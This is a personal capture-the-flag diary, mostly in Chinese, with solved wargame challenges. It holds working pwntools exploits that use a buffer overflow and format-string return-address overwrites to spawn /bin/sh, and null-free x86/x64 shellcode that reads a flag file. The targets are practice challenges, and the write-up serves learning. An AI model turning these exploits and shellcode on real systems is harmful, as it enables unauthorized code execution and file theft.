# Bamboofox CTF 日記簿
###### tags: `ctf`
## contact
Email : fdgkhdkgh@gmail.com
## magic
題目連結
https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/1
沒想到第一題就把我幹掉了= =
找到可以buffer overflow的地方,比較討厭的是他會用do_magic把所有東西都跟亂數取xor。
程式碼應該沒有任何的隨機變動。
目前是觀察到,scanf會在最後面幫我們加上0x00
scanf 在0x00後面,是可以加入其他東西的,所以可以騙過strlen的檢查
但是為什麼就是跳不到0x0804860d這行呢QQ
頭好痛ㄚ
> [name=Jasper Yu] 未看先猜\x0d
> [name=fdgkhdkgh] <3感謝XDD
結果跳到0x08048613就行了
我真的是滿頭問號
> [name=Hi] 跟stack 沒關是scanf 會把0d吃掉
> [name=fdgkhdkgh] <3感謝XDD沒想到這筆記是公開的....
我猜是因為前面幾行ENTER的時候會動到ebp跟esp
導致stack跳到不合法的地方
這部分可以再深入研究
vim + xxd = binary editor
https://blog.gtwang.org/useful-tools/how-to-use-vim-as-a-hex-editor/
gdb and input file
https://stackoverflow.com/questions/4758175/how-to-use-gdb-with-input-redirection
成功了(2018/7/7)
payload(python):
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
host = "bamboofox.cs.nctu.edu.tw"
port = "10000"
r = remote(host,port) #遠端連線
#r = process("./magic") #本地測試
words = r.recvuntil(":")
print words
r.sendline("aabb")
words = r.recvuntil(":")
print words
#r.sendline("a"*70+"\x0a\x00"+"\x0d\x86\x04\x08")
#r.sendline("a"*1+"\x0a"+"a"*70+"\x0d\x86\x04\x08")
r.sendline("a"*2+"\x00"+"1"*69+p32(0x08048613)+"aaaa")
#r.sendline("a"*72)
#r.send("a"*36 +'\x00'+"a"*35)
#r.sendline("\x0a\x0a\x0a"+"a"*72)
#words = r.recv(100)
#print words
#words = r.recvuntil(":")
#print words
#r.sendline("a"*72)
#804860d
r.interactive()
```
## Monkey1
題目連結
https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/2
this problem need to learn format string first
collect some format string things
angel boy : format string
https://drive.google.com/drive/u/0/folders/1mrgxK1dVVtD34rPf3H7unyC0wzgP3Y66
覺得有兩個方式
第一個方式是改寫banana的值
第二個是改寫system的值
在本地端測試的時候,竟然不小心用64bit的測試,難怪什麼鳥都測不出來 = =
http://koukaipan.pixnet.net/blog/post/23195769-%5B解決%5D-如何用64bit-gcc編譯32bit程式
我猜要先leak出banana在stack中的位置
function "flag" 除了在banana是對的情況下,會印出flag以外
假如banana是錯的,也可以印出banana的值
fgets中間能不能塞入\x00,來躲過strlen的檢查,可以試試看
可以喔,可以塞\x00
在本地端調適,並且用gdb觀看的方法:
用pwntool
r = process("./monkey")
python hi.py
會看到./monkey的process
然後再sudo gdb -p pid
就可以用gdb看了
很多需要有\x00輸入的攻擊,應該都需要用pwntool來輸入\x00
並且用gdb觀看
stack
0xffffd544 --> banana
0xffffd540 --> choice
0xffffd100 --> fget 發生時,stack最上方的位置
0xffffd100 --> 0xffffd11c ("123\n")
0xffffd11c --> temp
選2
輸入%269$p
可以leak出choice的地址,然後banana的位址就在附近
leak出來的位址加上4,就是banana的位址
之後試試看能不能利用這個stack的地址,寫值給banana
答案是可以
分兩次傳,把0x3132000a傳給變數banana
python loop
https://www.w3schools.com/python/python_for_loops.asp
python initialisint an array
https://stackoverflow.com/questions/6142689/initialising-an-array-of-fixed-size-in-python
python char to int
http://mini-stable.blogspot.com/2015/03/python-int-hex-char-string.html
python list to string
https://stackoverflow.com/questions/5618878/how-to-convert-list-to-string
成功了(2018/7/8)
payload(python):
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
host = "bamboofox.cs.nctu.edu.tw"
port = "11000"
r = remote(host,port)
#r = process("./monkey")
words = r.recvuntil("choice!\n")
print words
r.sendline("2")
words = r.recvuntil("out.")
print words
r.sendline("%269$p")
words = r.recvuntil("ce!")
words = words + "hihi"
print "address is " + words
address_string = [None]*10
for x in range(1,11):
address_string[x-1] = words[x]
#print "address[10]=" + address_string[10]
address_string = ''.join(address_string)
address_int = int(address_string,16)
address_int_1 =address_int+4
address_int_2 =address_int+6
address_string_1 = p32(address_int_1)
address_string_2 = p32(address_int_2)
print "p64(address_string) = " + address_string_1
r.sendline("2")
words = r.recvuntil("out.")
print words
r.sendline(address_string_1+address_string_2+"%2c%7$n%12584c%8$n")
#words = r.recvuntil("ters")
#print words
#r.sendline("gggg\x00aa")
#804860d
r.interactive()
```
## Monkey 2
題目連結
https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/3
跟上一題一模一樣,不過這題要拿到shell
int 為4個bytes , 用%n寫值時要注意
主要是想要攻擊這段
```
system("cat /home/ctf/graph");
```
但是"cat /home/ctf/graph"是放在不可寫段
所以可能沒辦法直接寫值進去
想法
1.構造一個/bin/sh字串
2.
在program要離去的時候(ret)
把stack打成這樣
|system@plt那一行的address|
|-|
|/bin/sh的位址|
要進行這樣的操作,需要在一次執行program中,寫入8byte(兩個位址)
並且不會被canary檢查抓到
ret == pop eip
https://stackoverflow.com/questions/4292447/does-ret-instruction-cause-esp-register-added-by-4
於是在退回到system@plt那一行的時候
stack頂端是/bin/sh的位址
我好蠢啊~~這不就有現成可以構造/bin/sh的程式可以用嗎?
change name,把name改成/bin/sh就可以了!!
成功了(2018/7/8)
方法跟我上面說的一樣
1. leak出stack的位址
2.
把name改成/bin/sh
再把return address改到print_monkey的system那邊
ret address下面那行,改成我們name的位址
如此就可以system("/bin/sh")
另外一個解法(我猜的啦):
gothijacking(因為flag上面寫gothijacking= =)strlen,把它改成system
然後在strlen(name的時候,就會變成system("/bin/sh"))
程式碼有點亂= =,sorry寫碼習慣有點差
playload(python):
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
host = "bamboofox.cs.nctu.edu.tw"
port = "11000"
r = remote(host,port)
#r = process("./monkey")
words = r.recvuntil("choice!\n")
print words
r.sendline("1")
#words = r.recvuntil("ters") #正式連遠端的時候,把這兩行刪掉
#print words #
r.sendline("/bin/sh\x00")
words = r.recvuntil("choice!\n")
print words
r.sendline("2")
words = r.recvuntil("out.")
print words
print words
r.sendline("%269$p")
words = r.recvuntil("ce!")
print words
address_str_choice = [None]*10
for x in range(1,11):
address_str_choice[x-1] = words[x]
address_str_choice = ''.join(address_str_choice)
address_int_choice = int(address_str_choice,16)
address_int_ret_1 = address_int_choice - 0x14
address_int_ret_2 = address_int_ret_1 + 0x2
address_int_binsh_1 = address_int_ret_1 + 0x4
address_int_binsh_2 = address_int_binsh_1 + 0x2
address_int_banan_1 = address_int_choice + 0x4
address_int_banan_2 = address_int_choice + 0x6
addr_str_ret_1 = p32(address_int_ret_1)
addr_str_ret_2 = p32(address_int_ret_2)
addr_str_binsh_1 = p32(address_int_binsh_1)
addr_str_binsh_2 = p32(address_int_binsh_2)
addr_str_banan_1 = p32(address_int_banan_1)
addr_str_banan_2 = p32(address_int_banan_2)
address_int_sh = address_int_choice + 8
address_str_sh = p32(address_int_sh)
print "We want to jump to 0x804875a"
print "position of sh string =" + hex(address_int_sh)
print "position of ret = " + hex(address_int_ret_1)
print "addr_int_binsh_1 =" + hex(address_int_binsh_1)
r.sendline("2")
words = r.recvuntil("out.")
print words
A = (address_int_sh%65536) - 0x804
B = 0x875a - address_int_sh%65536
C = (address_int_sh/65536) - 0x875a
print "We want to jump to 0x804875a"
print "position of sh string =" + hex(address_int_sh)
print "position of ret = " + hex(address_int_ret_1)
print "addr_int_binsh_1 =" + hex(address_int_binsh_1)
print "A=" + str(A)
print "B=" + str(B)
print "C=" + str(C)
#r.sendline(addr_str_binsh_1+addr_str_binsh_2+addr_str_ret_1+addr_str_ret_2+"%2036c%10$hn%32598c%9$hn%7$hn")
r.sendline(addr_str_binsh_1+addr_str_binsh_2+addr_str_ret_1+addr_str_ret_2+"%2036c%10$hn%"+str(A)+"c%7$hn%"+str(B)+"c%9$hn%"+str(C)+"c%8$hn")
'''
if B > 0:
r.sendline(addr_str_binsh_1+addr_str_binsh_2+addr_str_ret_1+addr_str_ret_2+"%2036c%10$hn%"+str(A)+"c%7$hn%"+str(B)+"c%9$hn%"+str(C)+"c%8$hn")
else :
A = address_int_sh%65536 - 0x875a
B = address_int_sh/65536 - address_int_sh%65536
print "A=" + str(A)
print "B=" + str(B)
r.sendline(addr_str_binsh_1+addr_str_binsh_2+addr_str_ret_1+addr_str_ret_2+"%2036c%10$hn%32598c%9$hn%"+str(A)+"c%7$hn%c"+str(B)+"%8$hn")
'''
r.interactive()
```
## ccr
題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/67
pwn打久了,頭有點酸= =,來玩玩其他的
這題目名稱有點狂ㄚ
成功了(2018/7/10)
有點懶,直接用他的main.c繼續寫,看懂原本的main.c程式碼就可以解出來了。
payload(c):
```
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SIZE 40
int hash[36] = {405, 434, 457, 506, 467, 449, 465, 398, 381, 459, 465, 466, 538, 542, 546, 467, 449, 453, 463, 448, 523, 457, 448, 442, 455, 452, 521, 536, 463, 460, 467, 466, 453, 467, 483, 372};
int count(char* s, int start, int end)
{
int sum = 0;
for (int i = start; i < end; i++)
sum += s[i];
return sum;
}
int checksum(char* s)
{
for (int i = 0; i + 5 <= SIZE; i++)
if (count(s, i, i + 5) != hash[i])
return 0;
return 1;
}
int main()
{
char s[40];
/*printf("Hint: flag is \"FLAG{...}\" format.\n");
read(0, s, 40);
if (checksum(s))
printf("You passed.\n");
else
printf("Maybe try again?\n");*/
s[0]='F';
s[1]='L';
s[2]='A';
s[3]='G';
s[4]='{';
for(int i=0;i<35;i++) {
printf("hash[i+1]=%d,hash[i]=%d,s[i]=%d,next=%d\n",hash[i+1],hash[i],s[i],(hash[i+1]-(hash[i]-s[i])));
s[i+5] = hash[i+1]-(hash[i]-s[i]);
}
for(int i=0;i<40;i++) {
printf("%c",s[i]);
}
printf("\n");
}
```
## suicide
題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/68
成功了(2018/7/10)
跟上一題幾乎一樣,所以就用上一題的code來改。
code:(c)
```
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SIZE 60
int hash[59] = {5320,4940,4615,8733,14145,13455,12285,10395,10395,10500,10100,3232,3200,11100,11211,11615,12650,4290,4524,3712,3680,12765,11988,12744,11918,3232,3584,12768,12654,10878,10584,10908,11009,4796,1408,3136,11466,13572,3712,3584,12096,10476,11737,12705,11550,11330,3296,3200,10100,9797,9700,3200,3200,11100,11211,11615,5290,5750,1250};
int count(char* s, int start, int end)
{
int sum = 1;
for (int i = start; i < end; i++)
sum *= s[i];
return sum;
}
int checksum(char* s)
{
for (int i = 0; i + 2 <= SIZE; i++)
if (count(s, i, i + 2) != hash[i])
return 1;
return 0;
}
int main()
{
char s[60];
printf("Hint: flag is \"FLAG{...}\" format.\n");
/* read(0, s, 60);
if (checksum(s))
printf("You passed.");
else
printf("Maybe try again?");
*/
s[0]='F';
s[1]='L';
s[2]='A';
s[3]='G';
s[4]='{';
for(int i=0;i<59;i++) {
printf("hash[i+1]=%d,hash[i]=%d,s[i]=%d,next=%d\n",hash[i+1],hash[i],s[i],(hash[i+1]/(hash[i]/s[i])));
s[i+2] = hash[i+1]/(hash[i]/s[i]);
}
for(int i=0;i<59;i++) {
printf("%c",s[i]);
}
printf("\n");
}
```
## angrman
題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/69
loadRecord(void)
loadRecord的read會把東西塞到bss段的secret裡面
並且會檢查輸入的東西c
rbp - 0x4 是for loop 的 i
因為read會自動補\n,所以假如沒多做什麼的話,會因為\n的關係而走到exitAngrman
```
if c <= 0x2f
jump to exit
if c <= 0x39
not jump , and exit
簡而言之,只能輸入0x2f~0x39的值
```
---
s[] - > secret
key - > key
Ha(s[0],s[1],s[2],s[3])
rbp-0x4 = s[0]
rbp-0x8 = s[1]
rbp-0xc = s[2]
```
B = s[0] - key[1]
A = key[0] xor B
C = s[1] + key[3]
D = C xor A
E = s[2] and s[1]
F = E + s[2]
G = F - s[0]
H = G xor D
key[0] = H
I = s[0] - key[1]
J = key[0] xor I
L = s[1] + key[3]
M = H xor L
N = s[2] + s[1]
O = M xor N
key[1] = O
P = s[0] + key[1]
Q = key[0] xor P
R =
```
程式碼看得好痛苦。。。決定使用暴力解
觀察Ha , Haya 各個function的參數是什麼,再針對參數進行暴力解。
ex: Ha的參數是secret,secret+5,secret+10
Haya 的參數是secret[1],secret[6],secret[11]
Hayaku:secret[2],secret[7],secret[12]
start :secret[3],secret[8],secret[13]
Buster:secret[4],secret[9],secret[14]
所以針對這三個參數進行暴力解
依據猜測:總共最慘需要跑5000次就可以找出答案。
這個方法麻煩的地方是,他在每個function下面塞一個sleep
導致要等一段時間
secret[0] ==1
secret[5] ==3
secret[10]==3
secret[1] ==2
secret[6] ==2
secret[11]==1
secret[2] ==3
secret[7] ==3
secret[12]==3
secret[3] ==1
secret[8] ==2
secret[13]==3
secret[4] ==1
secret[9] ==1
secret[14]==1
123113232131331
成功了(2018/7/11)
code(python):
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
for number in range(0,1000):
r = process("./angrman")
words = r.recvuntil("AME")
print words
r.sendline("2")
# 第一個數字=number/100
# 第二個數字=(number%100)/10
# 第三個數字=number%10
first = number / 100
second = (number%100)/10
third = number%10
print "first:" + str(first)
print "second:" + str(second)
print "third:" + str(third)
string = "1231"+str(first)+"3232"+str(second)+"3133"+str(third)+"0"
time.sleep(0.1)
r.sendline(string)
words = r.recvuntil("\n")
print words
words = r.recvuntil("\n")
print words
words = r.recvuntil("\n")
print words
words = r.recvuntil("\n")
print words
words = r.recvuntil("\n")
print words
words = r.recvuntil("\n")
print words
print str(words.find("died"))
if words.find("died")== -1:
break
#r.interactive()
print str(number)
```
很久之後才知道,這題應該要用symbolic execution去解它....
https://github.com/angr/angr
https://github.com/Z3Prover/z3
https://github.com/klee/klee
https://github.com/S2E/s2e-env
## AIS3 Web1
題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/14
## AIS3 Web3
題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/15
## ROP
題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/4
很怪,用open拿file descriptor,再用read把東西寫到buf裡,再用write寫到stdout,沒有用。
所以就直接用execve拿shell
eax=0xb,ebx=/bin/sh的位址,ecx=0,edx=0
成功了(2018/7/20)
解答:1,13,13,13,4,10,9,7,7,12,4,2,2,8,8,8,8,8,0
## orw
題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/5
一開使的shellcode一直打不進去。原來是要求null-free(攻擊字串間不能夠有\x00)
所以就稍微修改一下
成功(2018/7/23)
```
global _start
section .text
_start:
;xor eax,eax
;inc eax
;shl eax,6
;inc eax
;inc eax
;inc eax
;eax = 67
;xor ebx,ebx
;inc ebx
;shl ebx,6
;dec ebx
;dec ebx
;dec ebx
;mov ecx,eax
;shl ecx,2
;add ecx,ebx
;push ecx
;push 0x6761
mov eax,0x67611111
shr eax,16
push eax
push 0x6c662f66
push 0x74632f65
push 0x6d6f682f
mov ebx,esp
;mov eax,0x5
xor eax,eax
inc eax
inc eax
inc eax
inc eax
inc eax
;mov ecx,0x0
xor ecx,ecx
;mov edx,0x0
xor edx,edx
int 0x80
mov ecx,ebx
mov ebx,eax
;mov edx,0x30
xor edx,edx
inc edx
shl edx,12
;mov eax,0x3
xor eax,eax
inc eax
inc eax
inc eax
int 0x80
;mov ebx,0x1
xor ebx,ebx
inc ebx
;mov eax,0x4
xor eax,eax
inc eax
inc eax
inc eax
inc eax
int 0x80
```
用nasm -f elf32 hi.s
ld -m elf_i386 hi.o -o a.bin產生執行檔a.bin
再用objdump -D a.bin > report來看看binary長怎樣
```
8048060: b8 11 11 61 67 mov $0x67611111,%eax
8048065: c1 e8 10 shr $0x10,%eax
8048068: 50 push %eax
8048069: 68 66 2f 66 6c push $0x6c662f66
804806e: 68 65 2f 63 74 push $0x74632f65
8048073: 68 2f 68 6f 6d push $0x6d6f682f
8048078: 89 e3 mov %esp,%ebx
804807a: 31 c0 xor %eax,%eax
804807c: 40 inc %eax
804807d: 40 inc %eax
804807e: 40 inc %eax
804807f: 40 inc %eax
8048080: 40 inc %eax
8048081: 31 c9 xor %ecx,%ecx
8048083: 31 d2 xor %edx,%edx
8048085: cd 80 int $0x80
8048087: 89 d9 mov %ebx,%ecx
8048089: 89 c3 mov %eax,%ebx
804808b: 31 d2 xor %edx,%edx
804808d: 42 inc %edx
804808e: c1 e2 0c shl $0xc,%edx
8048091: 31 c0 xor %eax,%eax
8048093: 40 inc %eax
8048094: 40 inc %eax
8048095: 40 inc %eax
8048096: cd 80 int $0x80
8048098: 31 db xor %ebx,%ebx
804809a: 43 inc %ebx
804809b: 31 c0 xor %eax,%eax
804809d: 40 inc %eax
804809e: 40 inc %eax
804809f: 40 inc %eax
80480a0: 40 inc %eax
80480a1: cd 80 int $0x80
```
很好,沒有null byte(\x00)
可以用這個程式來檢驗自己的shellcode
```
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x68\x61\x67\x00\x00\x68\x66\x2f\x66\x6c\x68\x65\x2f\x63\x74\x68\x2f\x68\x6f\x6d\x89\xe3\xb8\x05\x00\x00\x00\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80\x89\xd9\x89\xc3\xba\x30\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
```
最後用pwntool送出payload
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
host = "bamboofox.cs.nctu.edu.tw"
port = "11100"
r = remote(host,port)
words = r.recvuntil(":")
print words
payload = "\xb8\x11\x11\x61\x67\xc1\xe8\x10\x50\x68\x66\x2f\x66\x6c\x68\x65\x2f\x63\x74\x68\x2f\x68\x6f\x6d\x89\xe3\x31\xc0\x40\x40\x40\x40\x40\x31\xc9\x31\xd2\xcd\x80\x89\xd9\x89\xc3\x31\xd2\x42\xc1\xe2\x0c\x31\xc0\x40\x40\x40\xcd\x80\x31\xdb\x43\x31\xc0\x40\x40\x40\x40\xcd\x80"
r.sendline(payload)
r.interactive()
```
可以參考x86的system call table
## orw64
題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/6
就跟上一題差不多,只是變成64bit
注意64bit的system call在asm裡就是syscall而不是int 0x80
2018/7/23
payload:
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
host = "bamboofox.cs.nctu.edu.tw"
port = "11101"
r = remote(host,port)
#r = process("./launcher64")
words = r.recvuntil(":")
print words
payload = "\x48\xb8\x11\x11\x66\x2f\x66\x6c\x61\x67\x48\xc1\xe8\x10\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x63\x74\x50\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x48\x89\xe6\x48\x31\xd2\x48\xff\xc2\x48\xc1\xe2\x06\x0f\x05\x48\x31\xc0\x48\xff\xc0\x48\x31\xff\x48\xff\xc7\x0f\x05"
r.sendline(payload)
r.interactive()
```
## ret2libc